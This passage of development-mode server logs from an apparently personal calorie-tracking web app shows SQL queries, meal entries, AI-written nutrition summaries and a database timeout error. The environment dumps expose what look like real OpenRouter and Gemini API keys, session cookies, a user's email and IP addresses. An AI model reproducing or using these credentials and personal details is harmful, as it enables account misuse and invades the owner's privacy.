    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T06:32:41.902Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T06:32:45.365Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T06:32:45.365Z server-connect:app Executing action step identify
2025-12-17T06:32:45.365Z server-connect:app options: { provider: 'security' }
2025-12-17T06:32:45.365Z server-connect:output identity: 1
2025-12-17T06:32:45.366Z server-connect:app Executing action step restrict
2025-12-17T06:32:45.366Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T06:32:45.366Z server-connect:output restrict: undefined
2025-12-17T06:32:45.366Z server-connect:router Render template calorie-tracker
2025-12-17T06:32:45.367Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '157.48.242.190',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.242.190',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '157.48.242.190',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-17T06:32:45.674Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T06:32:45.675Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T06:32:45.675Z server-connect:app Executing action step identify
2025-12-17T06:32:45.675Z server-connect:app options: { provider: 'security' }
2025-12-17T06:32:45.675Z server-connect:output identity: 1
2025-12-17T06:32:45.676Z server-connect:app Executing action step restrict
2025-12-17T06:32:45.676Z server-connect:app options: { provider: 'security' }
2025-12-17T06:32:45.676Z server-connect:output restrict: undefined
2025-12-17T06:32:45.676Z server-connect:app Executing action step single
2025-12-17T06:32:45.676Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T06:32:45.679Z server-connect:app Executing action step identify
2025-12-17T06:32:45.679Z server-connect:app options: { provider: 'security' }
2025-12-17T06:32:45.679Z server-connect:output identity: 1
2025-12-17T06:32:45.679Z server-connect:app Executing action step restrict
2025-12-17T06:32:45.679Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T06:32:45.680Z server-connect:output restrict: undefined
2025-12-17T06:32:45.680Z server-connect:app Executing action step single
2025-12-17T06:32:45.680Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T06:32:45.682Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's intake shows a good start with protein post-workout, but overall food variety and quantity appear limited. Meal timing is somewhat spread out, with a focus on post-exercise nutrition. Continued adherence to this pattern might lead to gradual progress towards your goals.",
    bad_points: [
      'Limited variety in food consumed throughout the day.',
      'The overall quantity of food may not be sufficient to support muscle development alongside fat loss.',
      'Lack of substantial meals throughout the day.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout to support muscle recovery.',
      'Incorporation of healthy fats from walnuts.',
      'Consistent early morning gym sessions.'
    ],
    suggestions: [
      'Incorporate more diverse protein sources in subsequent meals.',
      'Ensure adequate intake of complex carbohydrates and vegetables for sustained energy and micronutrients.',
      'Consider adding a balanced meal in the evening to support recovery and satiety.',
      'Increase overall food volume to better align with muscle development goals.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'A slight downward trend is likely.'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T06:32:45.684Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T06:32:45.685Z server-connect:app Executing action step select
2025-12-17T06:32:45.685Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T06:32:45.688Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  },
  {
    id: 422,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Coffee',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black coffee,Coffee with skim milk,Coffee with almond milk (unsweetened)',
    created_at: '2025-12-17T00:57:09.000Z',
    skip_level: 1,
    skip_reason: ''
  }
]
2025-12-17T06:32:45.689Z server-connect:app Executing action step setvalue
2025-12-17T06:32:45.689Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T06:32:45.689Z server-connect:output var_total: 466
2025-12-17T06:32:45.689Z server-connect:app Executing action step setvalue
2025-12-17T06:32:45.689Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T06:32:45.689Z server-connect:output var_consumed: 19
2025-12-17T06:32:45.690Z server-connect:app Executing action step setvalue
2025-12-17T06:32:45.690Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T06:32:45.690Z server-connect:output var_deficit: 1934
2025-12-17T06:32:45.690Z server-connect:app Executing action step custom
2025-12-17T06:32:45.690Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T06:32:45.692Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '466',
    surplus_or_deficit: '1934',
    status_flag: 2
  }
]
2025-12-17T06:32:46.274Z server-connect:app Executing action step identify
2025-12-17T06:32:46.274Z server-connect:app options: { provider: 'security' }
2025-12-17T06:32:46.274Z server-connect:output identity: 1
2025-12-17T06:32:54.441Z server-connect:app Executing action step identify
2025-12-17T06:32:54.441Z server-connect:app options: { provider: 'security' }
2025-12-17T06:32:54.441Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 06:39:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 06:39:53' as DATETIME)"
}
2025-12-17T06:48:31.245Z server-connect:app Executing action step identify
2025-12-17T06:48:31.245Z server-connect:app options: { provider: 'security' }
2025-12-17T06:48:31.245Z server-connect:output identity: 1
2025-12-17T06:48:33.324Z server-connect:app Executing action step identify
2025-12-17T06:48:33.324Z server-connect:app options: { provider: 'security' }
2025-12-17T06:48:33.324Z server-connect:output identity: 1
2025-12-17T06:55:58.233Z server-connect:app Executing action step identify
2025-12-17T06:55:58.233Z server-connect:app options: { provider: 'security' }
2025-12-17T06:55:58.234Z server-connect:output identity: 1
2025-12-17T06:56:00.286Z server-connect:app Executing action step identify
2025-12-17T06:56:00.286Z server-connect:app options: { provider: 'security' }
2025-12-17T06:56:00.286Z server-connect:output identity: 1
2025-12-17T07:04:48.232Z server-connect:app Executing action step identify
2025-12-17T07:04:48.232Z server-connect:app options: { provider: 'security' }
2025-12-17T07:04:48.232Z server-connect:output identity: 1
2025-12-17T07:04:51.798Z server-connect:app Executing action step identify
2025-12-17T07:04:51.798Z server-connect:app options: { provider: 'security' }
2025-12-17T07:04:51.798Z server-connect:output identity: 1
2025-12-17T07:21:33.236Z server-connect:app Executing action step identify
2025-12-17T07:21:33.236Z server-connect:app options: { provider: 'security' }
2025-12-17T07:21:33.236Z server-connect:output identity: 1
2025-12-17T07:21:36.244Z server-connect:app Executing action step identify
2025-12-17T07:21:36.244Z server-connect:app options: { provider: 'security' }
2025-12-17T07:21:36.244Z server-connect:output identity: 1
2025-12-17T07:24:40.882Z server-connect:app Executing action step identify
2025-12-17T07:24:40.882Z server-connect:app options: { provider: 'security' }
2025-12-17T07:24:40.882Z server-connect:output identity: 1
2025-12-17T07:24:43.274Z server-connect:app Executing action step identify
2025-12-17T07:24:43.274Z server-connect:app options: { provider: 'security' }
2025-12-17T07:24:43.274Z server-connect:output identity: 1
2025-12-17T07:24:46.701Z server-connect:app Executing action step identify
2025-12-17T07:24:46.701Z server-connect:app options: { provider: 'security' }
2025-12-17T07:24:46.701Z server-connect:output identity: 1
2025-12-17T07:24:49.090Z server-connect:app Executing action step identify
2025-12-17T07:24:49.090Z server-connect:app options: { provider: 'security' }
2025-12-17T07:24:49.090Z server-connect:output identity: 1
2025-12-17T07:24:58.368Z server-connect:app Executing action step identify
2025-12-17T07:24:58.368Z server-connect:app options: { provider: 'security' }
2025-12-17T07:24:58.368Z server-connect:output identity: 1
2025-12-17T07:25:01.227Z server-connect:app Executing action step identify
2025-12-17T07:25:01.227Z server-connect:app options: { provider: 'security' }
2025-12-17T07:25:01.228Z server-connect:output identity: 1
2025-12-17T07:25:46.044Z server-connect:app Executing action step identify
2025-12-17T07:25:46.044Z server-connect:app options: { provider: 'security' }
2025-12-17T07:25:46.044Z server-connect:output identity: 1
2025-12-17T07:34:55.761Z server-connect:app Executing action step identify
2025-12-17T07:34:55.761Z server-connect:app options: { provider: 'security' }
2025-12-17T07:34:55.762Z server-connect:output identity: 1
2025-12-17T07:35:40.575Z server-connect:app Executing action step identify
2025-12-17T07:35:40.576Z server-connect:app options: { provider: 'security' }
2025-12-17T07:35:40.576Z server-connect:output identity: 1
2025-12-17T07:45:23.714Z server-connect:app Executing action step identify
2025-12-17T07:45:23.714Z server-connect:app options: { provider: 'security' }
2025-12-17T07:45:23.714Z server-connect:output identity: 1
2025-12-17T07:50:37.226Z server-connect:app Executing action step identify
2025-12-17T07:50:37.227Z server-connect:app options: { provider: 'security' }
2025-12-17T07:50:37.227Z server-connect:output identity: 1
2025-12-17T07:50:39.269Z server-connect:app Executing action step identify
2025-12-17T07:50:39.269Z server-connect:app options: { provider: 'security' }
2025-12-17T07:50:39.269Z server-connect:output identity: 1
2025-12-17T07:57:13.235Z server-connect:app Executing action step identify
2025-12-17T07:57:13.235Z server-connect:app options: { provider: 'security' }
2025-12-17T07:57:13.235Z server-connect:output identity: 1
2025-12-17T07:57:16.191Z server-connect:app Executing action step identify
2025-12-17T07:57:16.191Z server-connect:app options: { provider: 'security' }
2025-12-17T07:57:16.192Z server-connect:output identity: 1
2025-12-17T08:10:50.238Z server-connect:app Executing action step identify
2025-12-17T08:10:50.238Z server-connect:app options: { provider: 'security' }
2025-12-17T08:10:50.239Z server-connect:output identity: 1
2025-12-17T08:10:53.033Z server-connect:app Executing action step identify
2025-12-17T08:10:53.033Z server-connect:app options: { provider: 'security' }
2025-12-17T08:10:53.034Z server-connect:output identity: 1
2025-12-17T08:21:38.230Z server-connect:app Executing action step identify
2025-12-17T08:21:38.230Z server-connect:app options: { provider: 'security' }
2025-12-17T08:21:38.230Z server-connect:output identity: 1
2025-12-17T08:21:41.247Z server-connect:app Executing action step identify
2025-12-17T08:21:41.247Z server-connect:app options: { provider: 'security' }
2025-12-17T08:21:41.247Z server-connect:output identity: 1
2025-12-17T08:36:07.227Z server-connect:app Executing action step identify
2025-12-17T08:36:07.227Z server-connect:app options: { provider: 'security' }
2025-12-17T08:36:07.228Z server-connect:output identity: 1
2025-12-17T08:36:09.209Z server-connect:app Executing action step identify
2025-12-17T08:36:09.209Z server-connect:app options: { provider: 'security' }
2025-12-17T08:36:09.209Z server-connect:output identity: 1
2025-12-17T08:40:50.382Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T08:40:50.383Z server-connect:app Executing action step identify
2025-12-17T08:40:50.383Z server-connect:app options: { provider: 'security' }
2025-12-17T08:40:50.383Z server-connect:output identity: 1
2025-12-17T08:40:50.383Z server-connect:app Executing action step restrict
2025-12-17T08:40:50.383Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T08:40:50.385Z server-connect:output restrict: undefined
2025-12-17T08:40:50.385Z server-connect:router Render template layouts/main
2025-12-17T08:40:50.385Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
